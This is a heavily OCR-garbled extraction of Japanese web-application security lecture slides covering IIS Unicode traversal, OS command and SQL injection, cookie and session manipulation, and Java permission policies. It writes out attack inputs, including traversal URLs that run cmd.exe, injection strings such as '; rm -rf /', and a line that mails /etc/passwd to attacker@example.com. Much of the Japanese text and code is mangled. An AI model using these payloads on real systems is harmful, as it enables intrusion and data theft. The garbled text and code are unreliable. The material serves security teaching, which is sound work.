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— GET HTTP
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— <form action="http://......” method="post”>
<input type="hidden” name="File”
value="F:¥inetpub¥wwwroot¥...¥foo.htm”>

— HTML
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— UTF-8
— URL )04
UTF-8
e MSO00-078:

Microsoft 1S “Web Server Folder Traversal” Vulnerability

— http://target/scripts/%c0%ae%c0%ae/%c0%ae%c0%ae/wi
nnt/system32/cmd.exe?/c+dir+c:¥

— http://target/scripts/%c0%ae%c0%9u/%c0%ae%c0%ae/wi
nnt/system32/cmd.exe?/c+dir+c:¥

o [../1FTYDEUTF-871— FDREIT% %

CO AE CO AE CO AE CO AE
UTF-871—F M. 1FIvD
002E 002E CO AE CO AE
M. 1FIvh UTF-871—F
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UTF-8

- UTF-8
— UNICODE 1 US-ASCII
16

— UCS-4 range (hex.) UTF-8 octet sequence (binary)
0000 0000-0000 O07F  OXXXXXXX
0000 0080-0000 O7FF 110xxXxX LOXXXXXX
0000 0800-0000 FFFF 1110xxxX 1OXXXXXX L1OXXXXXX
0001 0000-001F FFFF 111210xxx 10XXXXXX LOXXXXXX LOXXXXXX

0400 0000-7FFF FFFF  1111110X 1OXXXXXX ... 1OXXXXXX
— UTF-8 ucs-4
UTF-8

CO AE = 11000000 10101100
— 002E (UCS-2) = US-ASCIIO .}

invalid sequence

e [%CO%AE|BEDITTRSERIZ I, RFC 2279 T(Zinvalid
sequence&SN TS

RFC2279

NOTE -- actual implementations of the decoding algorithm above should protect against
decoding invalid sequences. For instance, a naive implementation may (wrongly) decode
the invalid UTF-8 sequence CO 80 into the character U+0000, which may have security
consequences and/or cause other problems.

6. Security Considerations

Implementors of UTF-8 need to consider the security aspects of how they handle illegal
UTF-8 sequences. It is conceivable that in some circumstances an attacker would be able
to exploit an incautious UTF-8 parser by sending it an octet sequence that is not permitted
by the UTF-8 syntax.

A particularly subtle form of this attack could be carried out against a parser which
performs security-critical validity checks against the UTF-8 encoded form of its input, but
interprets certain illegal octet sequences as characters. For example, a parser might
prohibit the NUL character when encoded as the single-octet sequence 00, but allow the
illegal two-octet sequence CO 80 and interpret it as a NUL character. Another example
might be a parser which prohibits the octet sequence 2F 2E 2E 2F ("/../"), yet permits the
illegal octet sequence 2F CO AE 2E 2F.

e UNICODE 3.0.1CI3BAFEICTa— FL TR InkLeEnE
http://www.unicode.org/versions/corrigendumZ1.html
— Microsoft
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e MS01-026: Superfluous Decoding Operation Could
Allow Command Execution via 1S

— http://iis.example.com/scripts/%252e%252e/%252e%252¢/
winnt/system32/cmd.exe?/c+dir+c:¥

%252e - %?2e - .

%252e%252e/ %252e%252e/

URLTI—F URLTI—F
%2e%2e/ %2e%2e/

M.1FIvo M.1FIvo

%2e%2e/ h2ekize/

File not found URLTI—F

W
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e 196005 E

— URL null Java String
0OS

o CLAN DD EFETELRECNES

o FTUVHI
— .dat

« if (filename.endsWith(".dat")) {

e http://example.com/foo.jsp?filename=meibo.csv%600.dat
« Javaldif X DE B ZHE TN, 0SldMmeibo.csviEFHmAHT
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e 1990FRICEMETATSLIKIETEAL
- [BIEPerl7NI5v 108 EMEFE ST

» JavaCDZEHI

e String command = "/usr/bin/df ";
void foo(String p) {
System.getRuntime().exec(command + p);

- 0OS Command Injection
s foo("; rm -rf /");
foo("| rm -rf /);
foo("> /etc/passwd");

foo("; sendmail attacker@example.com < /etc/passwd");

- : native exec

- BEFEENMEE
» ExcelMIERTIEEERIRE
e GoogleFvy1ffzE

« NEFEBLNELCTYTO-F
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o A—HRHENAT—FEEEVIIAMIENHD > O
e I—HRHEGFEEEIVIIAMMIENHD > x1I
« BYYIVEBNCENNS I BOEGAT
— URL
— hidden INPUT
— Cookie

URL

» RSA Conference 2003 JapanAE—H—H4 k]
D= (2003%2A8)

- >
>

>

>

> @ RSA Conference 2003 Japan

> http:// .C0.jp/rsa2003/spk/
> takagi

>

o BEEYA NN, ATIULTHBE......
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Xt ER LIz EME#E:

- > http:// .c0.jp/rsa2003/spk/index2.php
>
— GET POST
=Ioi x|
FME ERE R MRCADE r-mD v QR - Q- (%] (2] |88 A A
PR [ v e p— p— —re =
|

CNEERELLEECARDTER
— Referer
— Referer

ENERRBULECABUICH RSN

Cookie

MR FERZEERE \cookielCRE 7D AR A X DM 5514
— fAcookieE EICLBEEI-TADENTELOMRE
http://securit.gtrc.aist.go.jp/SecurlT/advisory/rawcookie/

- 5 4 5
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— cookie
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(2001

— takagi

- cookie
« mall-LoginUserlD=takagi

- cookie

— URL ID

e DFEDPOSTAVY RTIEHL
cookie

Cookie ?

e ORIV EDEAKRMIGEE

Cookie:

e GET /index.html HTTP/1.1
If-Modified-Since: ....
Referer: http://www......
Cookie: userid=takagi

telnet

cookie
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Ty
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| AFTOTTER OFA> o
(]
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- URL
- cookie
- cookie
- URL
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— Cookie URL
- URL javascript:
— URL JavaScript

— JavaScript document.cookie=  cookie

- Microsoft Internet Explorer

| e REER ®TW BRIADE UMD AT Y G
J FELAD javazcriptdocument.cookie=" mall-LoginUserID=takagipath=+doma3
Bl el N
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e |T
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- cookie
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- cookie
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> telnet m ,co, jp 80

Trwing .

Connected to L Co. g

Escape character iz " 7] .

GET / S HTTP/1.0
Cookie: ,userseviceinnline=405100

HTTR/1.0 200 0K

Content-Type: text/html

Date: Mon, 18 Feb 2002 09:47:47 GMT
Al low: GET, HEAD

Server:

<IDOCTYPE HTML PUBLIC ™-//W3C//0TD HTML 4.0 Transitional //EN">
<HTML>
<HEAD>

<TITLE> B3 B M In < /TITLE>

=10]x

<TD YALIGN="top” WIDTH= ”120”>I<B>ﬁ‘—’£§17<f8><ﬂ
<TD VALIGN="+top"™ WIDTH="40"><FONT SIZE="2" COLOR="4
< SFONT < ST

"5 < B AYE< /By

<TD YALIGH="tog” WIDTH="440"><gAPUT TYPE="teyt” SIZE="25" MANLENGTH="2
07 NAME=" > YALUE="0298-61-000" SIZE="2” COLOR=": 7>

B SFONT > < /TD
</TR>

- AEEOHTE

— cookie ?
e HTTP cookie
 URL javascript:
e Cookie Web
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hidden INPUT
- BMHICEHNHREHTEIND

e IJAVE®OEE TIX/SAT— FHEFESN 2 H, ZDRD
B T3/ SA0— FhREES AL

o REEICIE, I-HFIDEZFNESNTNT, TOFERZITEA
DEFHRN 5 EHENTEERRIND

<form metho}EiZ”get””actionZ:http:”//securg. » fcgi—hin/;
<input type=_hidden name= zz id _walue=_ 1083 >
STpuT Type= niggen rame= complowl wanes oy

- MENRICEZREENEIMEE T, AERTERLLO0,
EERTOBENFROEENTETLEICEN LL(HD
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B aaa.html - AT
ZriILE) REE) #IH(0) F=TO ~LFH)

<html>

< head>

ity EFIBHBIEFEA S Al (I Fa -7 ILEERAGEIES
<meta http—gquiv— Ccf::}ntent Type” content="text/html; charset=Shift JIS™>
{style type= tesd/fcss »

-

ces10 1 font—size: 10pt!

—

< fetyle|

</ head>

< oy bgcolor‘— #FFFFFF s

{form method= “get” actlon— ht'tp,f;"secure = u o/ egi-hind gakkaifisice_
Cinput type=" hidden” name="zz id” valus="1083">
e
ccantary
<table width="570" horder="0" cellspacing="0" cellpadding="2" bgcolor="#30
<tr align="center > .
;td><font color="#FFFFFF" size="+1 > B FIRHREF S/ A I773F
<At
tr hocolor="#FFFFFF™ >
el b td

St
tr hornler="#FEFFFEE™ align=" ranter’

u=takagi&pass=exz3kp6w

<input ...name=u value=taka

<input ...name=u value=taka
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u=takagi&pass=exz3kp6w

........................................... P

<input ...name=u value=takagi
<input ...name=pass value=exz3kp6w=>

u=takagi&pass=exz3kpbw

........................................... P,

<input ...name=u value=taka

<input ...name=pass value=exz3kp6w=>

u=takagi&pass=exz3kpbw

........................................... P

u=takagi&pass=exz3kp6w

........................................... P

Set-Cookie: u=takagi

Cookie: u=takagi

........................................... P

Cookie: u=takagi

........................................... P
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u=takagi&pass=exz3kp6w P

Set-Cookie: sid=de24c86!

Cookie: sid=de24c8626060

........................................... P

Cookie: sid=de24c8626060

........................................... P

(POST

u=takagi&pass=exz3kp6w P

<input ...name=sid value=de!

sid=de24c8626060

........................................... o

1

sid=de24c8626060

........................................... P

<input ...name=sid value=de2

)
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— INTERNET Watch 2000 3 2

Web
Web URL
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........................................... >, 1
Cookie: sid=de24c8626060
u=takagi&page=4
........................................... P, 2
Cookie: sid=de24c8626060
u=takagi&page=4
........................................... P, 3
e RETIREIMZFELOTNSIEE
- ID
73
- cookie ID ID
- ID ID
— URL ID
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- Ef4

— ITmedia 2004 7 5

http://www.itmedia.co.jp/enterprise/articles/0407/05/news004.html
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Secure

RFC 2109

— The user agent (possibly with user interaction) MAY
determine what level of security it considers appropriate for
“secure” cookies. When it sends a "secure" cookie back
to a server, the user agent SHOULD use no less than the
same level of security as was used when it received the
cookie from the server.

Netscape CommunicationsD XX ZE

http://wp.netscape.com/newsref/std/cookie_spec.html

— If a cookie is marked secure, it will only be transmitted if the
communications channel with the host is a secure one.
Currently this means that secure cookies will only be sent to
HTTPS (HTTP over SSL) servers. If secure is not specified, a
cookie is considered safe to be sent in the clear over
unsecured channels.
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permission jeva, lanc.Runl issPermission “sloeThread”;

£ alloes arvore o laken on urepe vl leged porta
parmistion java, el Seckel Pereiseion " localkbah 2 1074=", " 1iglen";

S Tstendard” properies thal cen be resd by anpone

Permission java,
PErmiEs o0 jll‘l.
permlzalon _Iw.l.
parmigsion java,
PArmiSEon |ava.ul
permlsslon _IIN.
permission jmva.l
PErmiEEion jeva.
PErmiEs o0 jll‘l.
permlaslon Java.

FroveriyPermission "jsvaversion”, “resd”;
ProperlyPermi 5000 T Javh, vendie . Treed )
Properd yPermlzalon T ava, verdorurl™, “read™;
FProparl yPermigsion *java, ¢ lase, vargion”, “reed’;
FroeerivPermission “os.nams”, “readt
ProperlyPersl sslon ":-:.'.ner: lon™, 'rud‘;
ProperiyPermizaion “os.arch”, “read’:
FrovertPermission "1 ile.searator’, “resd”s
ProperiyPermission “path, separabor”, “read s
Properd yPermlzalon T lee, separabor”, “read”;

tEf‘-tE: _'-tf'f“

FProeerivPermission " ave, seecif jcalion.varsion”, “read”:
ProperiyPersl sslon " Jave, spec I loal lon.vendor™, “read™:
ProperiyPerslasion " jave, specif loal lon rass” . " resd” ]

PArmiSEion |ava.
permlsslon Jeva,
permismion |sva.

ELL

FroperiyPermission " jave. vm specif ication version”™, “read":
Properl Perslzalon " java. ve.specif icat lon, w‘d‘sr s “read”}
Progecl yParmiesion " jave. v, sl ||J|! ien, L T
FProeerivPermission " jave.omavarsion”, “read™:
ProperiyPerml sslon " Jewve, ve. vendor”, "read”:

Properd yPermlasion 7 java, ve.rams” "'rhld";

permission java.
permizalon [ma.
parmission java,
PArmiSE 0N |ava.
permlsslon Jeva,
permizsion jma.

EELLES

kyxlare “1ile2 /0 Progran Fi les/lavSel UURES 1L 201y oo | Ly PabPockel ®, ©jke”;

grent 5 lpedly “webpapd0117,  codelase h{tn Siwwe, webocheh o red fenfa™ |
permlemion jewa.ukil, Prnnﬂl:ﬁ'nl.luum ey, home”, Cread;
eermission jeva.awl. ATIFermission ll‘mluﬂﬂlllh:ﬂ'hrlalmﬁauur :
permiggion java. o FilePermission "ML FILESYY®, “read. write":

h
wrant [
y permlsslon Jeve, net , SockelPermloslon "87, "sccepd, correch, llsten, resclwe™:
(&) A -THRTEALE |

B IEET

o EXIVTIREDEEZTRH|

+ keystore "file:/C:/Program Files/JavaSoft/JRE/1.2/lib/security/WebPocket", "jks";
+ grant signedBy "webpup0011", codeBase "http://www.webpocket.net/em/*"; {

+ permission java.util.PropertyPermission "user.home", "read";

+ permission java.awt. AWTPermission "showWindowWithoutWarningBanner";

+ permission java.io.FilePermission "<<ALL FILES>>", "read, write";

+}
+ grant {

+ permission java.net.SocketPermission "*", "accept, connect, listen, resolve”;

+}
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— 2001-12-12: Multiple Vendor URL JSP Request

Source Code Disclosure Vulnerability
http://www.securityfocus.com/bid/2527

— http://example.com/f00.js%70
JSP JSP
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— Jsp
— Jsp

e SQL Command Injection
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SQL Command Injection

- BKBBI-F
— boolean checkPassword(String id, String password) {
String query = "select password from where id=" + id;
ResultSet rs = db.getResultSet(query); ...
return rs.getString("password").equals(password);
- ¥ A% (IDirect SQL Command Injection IR %)
- id ID; SQL
SQL
« select password from where id=# % ID; EEDSQLX
. E3FARED
- SQL ’
e String query = "select password from where id="" + id + “*;
- id

SQL
- X8I

- LALEEILBI-T1VT(C1B
- RRAE
— PreparedStatement

— String q = "select password from where id ?";
PreparedStatement ps = connection.prepareStatement(q);
ps.setString(1, id);
ps.executeUpdate();

- $&:
[i-h-b:46403] 'SQL Injection’ Security Problem
http://java-house.jp/ml/archive/j-h-b/046403.html
[i-h-b:49842] T¥1UT4h—IEEEFKTIAMESLVAMTLE
http://java-house.jp/ml/archive/j-h-b/049842.html
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